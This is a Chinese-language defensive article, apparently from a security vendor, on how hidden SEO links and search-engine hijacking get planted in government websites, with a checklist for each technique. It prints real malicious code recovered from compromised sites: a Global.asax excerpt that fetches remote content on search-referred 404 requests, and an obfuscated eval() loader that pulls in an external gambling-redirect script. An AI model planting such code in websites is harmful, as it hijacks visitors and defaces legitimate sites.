互联网如果是个江湖,那它堪比各种武侠小说里的江湖,风起云涌眼花目眩:有的技术使沟通更顺畅,生活质量更高,有的技术应用却是深藏陷阱,藏污纳垢,专为不义的谋利而来。其中暗链和搜索引擎就是特别有代表性的一门地下生意。   这门地下生意的 「要义」 是:

 

  • 它们的链接多数是非法网站,如赌博、赌场、彩票、地下钱庄、色情站点;
  • 它们希望自己的链接获得多多益善的流量,最好的方法就是抱大腿,抱上本身有流量、搜索引擎里排名高的站点;
  • 正规站点显然不会愿意添加它们的链接,它们就利用各种网站漏洞,各显神通地把自己的链接硬加到正规站点里;
  • 能把访问者直接「绑架」到自己的站点访问是最好的,能获得真实的人气。但这样动静比较大,容易暴露,退而求其次也行,把搜索引擎的流量「绑架」过来,这样自己的排名能上去,也能把一些使用搜索引擎的用户拉过来。

  在「2016年第一季度中国政务网站暗链分析报告」的统计里,全国在线 gov.cn 类网站监测结果显示,政务类站点中检测出暗链共计 547 个。根据受暗链影响的站点 IP 归属地检测结果显示,共有 18 个省 (29个市) 有站点存在被暗链影响过的现象,涉及 44 个政府单位管 辖范围,其中市、县级单位占比最多,高达 90.9%。18 个省级行政区中有 14 个行政区受博彩类暗链影响最为严重,占发现暗链总数的 66.67%;其他影响较大的暗链类型还包括游戏类暗链、广告推销类暗链以及医疗类暗链等。     001

  按照此类规律,在搜索引擎里非常容易就能看到各种正规政府网站域名上,被加入了偏离正轨的各种内容:     002

  无利不起早,这些门类的暗链都涉及很长的利益链,所以这门地下生意一直很兴旺,作案手段也益发多样化。

  暗链的作案手法重点在于「暗」——它们在网站上的存在往往非常「暗戳戳」。即使网站管理员收到第三方警告,也未必能很快速地定位问题。我们试探讨总结常见的几种暗链添加手法,希望能抛砖引玉,为技术人员清理和加固系统提供更多思路。

  以下几种加暗链的方式,都属于较为间接影响网页内容的方式。除这几种外,也不乏以各种手段,直接修改网页,但把暗链的位置巧妙地置于人类视角之外的作案手法,这种属于页面布局问题,不在本文讨论范畴内。

  

一、加到隐秘的全局「代码」中

  在特定的代码环境中,默认会自动加载一个全局的代码文件,如 IIS 6 里的 Global.asa,IIS7 中的 Global.asax,PHP 环境里的 auto_prepend_fileauto_append_file 配置项。在访问其他的动态代码页面时,也会同时加载这些全局文件。因为单个代码文件里并不需要出现包含这些文件的指令,所以这种加载方式非常隐秘,而这些文件里可以放置完整的 asp、aspx 或 php 代码脚本,它能实现非常复杂完整的页面功能,所以危害度极高。如以下这个真实的被非法加入代码的 Global.asax 文件,就通过这种方式,实现了全站的搜索引擎劫持,并且非常精妙地控制只劫持不存在页面 (404 页面) 的访问,这样隐秘度更高

 

 //搜索引擎劫持IIS Global.asa 部分内容节选
 if(ev.GetHttpCode() == 404)     //判断是不是404,404的页面才会做手脚
 {  
     string[] refesString = "sogou,so.com,google,youdao,yahoo,bing,118114,biso,gougou,ifeng,ivc,sooule,niuhu,biso,360,sm,uc".ToLower().Split(',');
     string Path = "http://new.x5618.com/502.php";
     string jsPath = "http://new.x5618.com/news/js.html";    
     string REFERER = "";
     string user="";
     string urls=Request.Url.ToString();
     string host=Request.Url.Host;
     if (Request.UrlReferrer != null)
     {
         REFERER = Request.UrlReferrer.ToString().ToLower();  //判断这个请求有没有REFERER值
     }
 
     foreach (string s in refesString)   //如果有REFERER值,就挨个检查,看REFERER有没有上面 refesString 数组里的其中一种,也就是流量是否来自搜索引擎
     {
         if (REFERER.IndexOf(s) != -1)   //如果确实是特定搜过引擎过来的访问,就执行下面的Ajax提交
         {
         ctx.ClearError();
         string getjs = get_content(jsPath);   //get_content()是用Ajax实现的一个函数,具体写法在后半段,通过ajax获得指定的jsPath页面的内容,这样就什么都能干了
         Response.Write(getjs);
         Response.End();
         }
     }
     ... ...

  检查要点

 

  • 如果为 IIS 环境,检查网页目录下的 Global.asa, Global.asax,看是否有异常代码;
  • 如果为 PHP 环境,检查在 php.ini 里,是否配置了 auto_prepend_fileauto_append_file 项;
  • 如果为 Apache 环境,检查httpd.conf和虚拟主机相关配置文件,是否加入了 php_value auto_prepend_filephp_value auto_prepend_file 两个值的设置;
  • 动态脚本可以用各种 Include 指令,包含其他的子代码文件。如果某个网页的内容有异,一定要把其包含的子页面、子子页面内容都彻底检查一遍。

 

二、加到JavaScript中

  另一种浏览器劫持的方向,则是针对客户端发起的。用户的常规网页里,往往被嵌入了某些隐秘的 Javascript 代码,实现暗链和劫持。这些 Javascript 往往还会根据 HTTP 请求里的 Referer 头,判断来源是否搜索引擎,再实施劫持。这样直接访问网站的用户并不觉得有异常,只有特定使用者才会受到影响。

  从以下这个案例的访问步骤看到,从百度搜索过来的访问者,访问了一个正常的政府网站页面,由于这个页面里引用了一个恶意Javascript文件 (ccc.js),最终导致用户的浏览器也强制重定向到非法博彩站点,见下图。

  003

▲上此图从百度搜索结果里访问某政府网站,最终被劫持往恶意站点,站点为 www.930916.com 。

  之所有会有上述流转过程,首先是该政府网站的页面里,已经被加入一段恶意 Javascript 代码,该恶意 Javascript 代码大致如下:

 

<script>eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('o q=l.n(h,8,k,7,2,6,9,b,8,7,k,i,1,9,9,6,g,d,d,a,a,a,c,8,0,e,e,e,f,c,k,5,4,d,k,k,k,c,3,8,j,h,d,8,k,7,2,6,9,j);m.p(q);',62,27,'102|104|105|106|109|111|112|114|115|116|119|32|46|47|50|51|58|60|61|62|99|String|document|fromCharCode|var|write|xyz'.split('|'),0,{}))</script>

  经过解密,得到以下内容:

 

var xyz=String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,119,119,119,46,115,102,50,50,50,51,46,99,111,109,47,99,99,99,46,106,115,62,60,47,115,99,114,105,112,116,62);document.write(xyz);

  这段代码再经过还原,实际上等效于:

 

<script src=http://www.sf2223.com/ccc.js></script>

  所以只要访问这些被篡改的网页,就会后续加载恶意的 ccc.js Javascript 文件。这个 JS 文件里的代码又再根据页面的来源,判断是否来自搜索引擎,是否需要劫持 (以下为 ccc.js 文件的主要内容):

  004

  这样就把符合要求的访问用户,硬是重定向到了恶意博彩站点。

  检查要点

 

  • 使用浏览器 F12 调试工具里的「网络」工具,分析页面流向,特别是从搜索引擎访问过来的页面加载顺序,确定是否有加载异常 Javascript 文件;
  • 检查网页文件,有没有被加入额外的 Javascript 代码段,有没有在隐秘位置引入外部 JavaScript 文件 URL。

 

三、利用Web服务器自带的重定向/反向代理功能

  以上两个案例虽然隐秘,但还可以从网站目录下找到被加被改的痕迹,在安全攻-防对抗过程中,恶意之人的手段也越来越多,越来越难以定位。

  比如以下真实案例,就跳出了「网页」的范畴,转而用另一种手段做暗链和流量劫持。以下截图案例的用户收到第三方警告,认为网站上有恶意内容,搜索引擎快照里也确实能看到此类内容。但怪异的是,在用户实际的目录中,并没有对应的 /pkqwhrh/pk9hfj58... 这样的目录或文件。

  005

  而利用抓包工具分析,则能看到此类「虚拟」URL,返回的 HTTP 响应头里,出现了一行不应该在此处出现的响应头 X-Powered-By: ASP.NET !很明显站点是基于 Linux 的 Nginx 环境,为什么凭空出现了一行属于 Windows 系统的响应头?经对比测试,除了搜索引擎里非法内容的页面,其他的常规页面,如首页,却并不会出现这个异常的响应头,只有符合特定模式的 URL 访问才出现这个诡异的响应头。

  006

  由此需要怀疑这个「虚拟」URL,是用 Web 服务器软件的重定向或者反向代理处理过。核查该服务器对应的配置文件,果然发现被加入异常的虚拟目录代理:只要 URL 开头为 pk 的 HTTP 请求,就会自动代理到侵入者指定的机器上,内容也完全由侵入者机器决定了。

  007

  检查要点

 

  • 检查 Web 服务器的配置文件 (Apache 的 httpd.conf、Nginx 的 nginx.conf、IIS 的 web.config 等),看是否加入非本意的重定向或反向代理处理;
  • 不要忽略除了主配置文件 (httpd.confnginx.conf) 外,它们还可以用 Include 等指令包含额外的配置文件,所有被包含的内容也需要纳入检查;
  • 不要忽略 Apache 环境里,Apache 默认会加载用户网站目录下的 .htaccess 配置文件。这些反向代理和重定向指令,也可以放在独立的 .htaccess 文件内生效,该类文件也需要检查。

 

四、利用特殊HTTP响应码对应的自定义页面

  原理和上一种情况类似,只是具体方向有差异。它修改的目标是用户的特殊 HTTP 响应码的自定义页面,这样就可以劫持某些特定响应码对应的流量。因为各种 Web 服务器的响应码自定义页面,都支持远程 URL,所以只要把特定响应码的处理,设置为上一节中的反向代理地址,也可以劫持所有此类流量。下图为 Apache 环境里的场景:

  008

  实际上每种 Web 服务器都支持类似的设定,如 IIS 的「错误页」设定:

  009

  检查要点

 

  • 检查 Web 服务器的配置文件 (httpd.confnginx.conf 等),看是否加入非本意的错误代码处理
  • 检查 IIS 管理控制台,看在「错误页」中是否设置了非本意的 302 重定向页面。

  以上介绍了四种比较可能的暗链和流量劫持手法,但并不意味着暗链和流量劫持就「只有」这四种手法。除此外,它还可能涉及到:

 

  • 各 Web 服务器的模块加载方式
  • 各种第三方开发框架的使用
  • 各种 CMS 的文件分发体系
  • 各种系统漏洞,0day 漏洞
  • ......

  本文仅作抛砖引玉的讨论和介绍,要最后确定问题仍然需要具体问题具体分析,通过分析表象,推断可能的方式,逐一排查,找到出问题的关键点。

  另外此类被加暗链或劫持的网站服务器,通常已经被深度渗入了,需要较完整的清理和加固,才能保证后续的网站安全。如果有此方面需要,可以联系我们,通过我们专业的产品和安全服务,能在清理、加固、防护等方面给出有针对性的方案,保障系统的安全。(朱筱丹 | 天存信息)